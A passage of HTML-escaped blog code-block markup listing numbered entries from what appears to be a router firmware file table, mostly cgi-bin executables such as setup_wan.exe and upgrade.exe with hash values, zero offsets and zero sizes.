border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum81&quot;&gt;  81:&lt;/span&gt; www\cgi-bin\qstatusprocess.exe      ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum82&quot;&gt;  82:&lt;/span&gt; www\cgi-bin\qwireless_f.exe         ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum83&quot;&gt;  83:&lt;/span&gt; www\cgi-bin\qwireless_ssid.exe      ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum84&quot;&gt;  84:&lt;/span&gt; www\cgi-bin\qwireless_wep.exe       ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum85&quot;&gt;  85:&lt;/span&gt; www\cgi-bin\restart.exe             ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum86&quot;&gt;  86:&lt;/span&gt; www\cgi-bin\restore.exe             ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum87&quot;&gt;  87:&lt;/span&gt; www\cgi-bin\setup_clientfilter.exe  ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum88&quot;&gt;  88:&lt;/span&gt; www\cgi-bin\setup_config_data.exe   ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum89&quot;&gt;  89:&lt;/span&gt; www\cgi-bin\setup_ddns.exe          ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum90&quot;&gt;  90:&lt;/span&gt; www\cgi-bin\setup_dmz.exe           ?1:0xac514ecb offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum91&quot;&gt;  91:&lt;/span&gt; www\cgi-bin\setup_dns.exe           ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum92&quot;&gt;  92:&lt;/span&gt; www\cgi-bin\setup_firewall.exe      ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum93&quot;&gt;  93:&lt;/span&gt; www\cgi-bin\setup_fix_pat.exe       ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum94&quot;&gt;  94:&lt;/span&gt; www\cgi-bin\setup_lan.exe           ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum95&quot;&gt;  95:&lt;/span&gt; www\cgi-bin\setup_misc.exe          ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum96&quot;&gt;  96:&lt;/span&gt; www\cgi-bin\setup_nat_show.exe      ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum97&quot;&gt;  97:&lt;/span&gt; www\cgi-bin\setup_pass.exe          ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum98&quot;&gt;  98:&lt;/span&gt; www\cgi-bin\setup_remote_mgmt.exe   ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum99&quot;&gt;  99:&lt;/span&gt; www\cgi-bin\setup_sch.exe           ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum100&quot;&gt; 100:&lt;/span&gt; www\cgi-bin\setup_snmp.exe          ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum101&quot;&gt; 101:&lt;/span&gt; www\cgi-bin\setup_specialapps.exe   ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum102&quot;&gt; 102:&lt;/span&gt; www\cgi-bin\setup_time.exe          ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum103&quot;&gt; 103:&lt;/span&gt; www\cgi-bin\setup_virtualserver.exe ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum104&quot;&gt; 104:&lt;/span&gt; www\cgi-bin\setup_wan.exe           ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum105&quot;&gt; 105:&lt;/span&gt; www\cgi-bin\setup_wan_bigpond.exe   ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum106&quot;&gt; 106:&lt;/span&gt; www\cgi-bin\setup_wan_bridge.exe    ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum107&quot;&gt; 107:&lt;/span&gt; www\cgi-bin\setup_wan_dhcp.exe      ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum108&quot;&gt; 108:&lt;/span&gt; www\cgi-bin\setup_wan_fix.exe       ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum109&quot;&gt; 109:&lt;/span&gt; www\cgi-bin\setup_wan_modem.exe     ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum110&quot;&gt; 110:&lt;/span&gt; www\cgi-bin\setup_wan_pppoe.exe     ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum111&quot;&gt; 111:&lt;/span&gt; www\cgi-bin\setup_wan_pptp.exe      ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum112&quot;&gt; 112:&lt;/span&gt; www\cgi-bin\snmp_all.exe            ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum113&quot;&gt; 113:&lt;/span&gt; www\cgi-bin\snmp_community.exe      ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum114&quot;&gt; 114:&lt;/span&gt; www\cgi-bin\snmp_trap.exe           ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum115&quot;&gt; 115:&lt;/span&gt; www\cgi-bin\snrboot.exe             ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum116&quot;&gt; 116:&lt;/span&gt; www\cgi-bin\status.exe              ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum117&quot;&gt; 117:&lt;/span&gt; www\cgi-bin\statusprocess.exe       ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum118&quot;&gt; 118:&lt;/span&gt; www\cgi-bin\switch_vlan_add.exe     ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum119&quot;&gt; 119:&lt;/span&gt; www\cgi-bin\switch_vlan_delete.exe  ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum120&quot;&gt; 120:&lt;/span&gt; www\cgi-bin\system_syslog_scr.exe   ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum121&quot;&gt; 121:&lt;/span&gt; www\cgi-bin\tdhcp.exe               ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum122&quot;&gt; 122:&lt;/span&gt; www\cgi-bin\tiny_del.exe            ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum123&quot;&gt; 123:&lt;/span&gt; www\cgi-bin\tlog.exe                ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum124&quot;&gt; 124:&lt;/span&gt; www\cgi-bin\tmailtst.exe            ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum125&quot;&gt; 125:&lt;/span&gt; www\cgi-bin\tpppoe.exe              ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum126&quot;&gt; 126:&lt;/span&gt; www\cgi-bin\tr69_setup.cgi          ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum127&quot;&gt; 127:&lt;/span&gt; www\cgi-bin\trenewip.exe            ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum128&quot;&gt; 128:&lt;/span&gt; www\cgi-bin\tswup.exe               ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum129&quot;&gt; 129:&lt;/span&gt; www\cgi-bin\tswupst.exe             ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum130&quot;&gt; 130:&lt;/span&gt; www\cgi-bin\upgrade.exe             ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum131&quot;&gt; 131:&lt;/span&gt; www\cgi-bin\upgrade_config.exe      ?1:0xac514ecc offset: 0     size: 0&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: 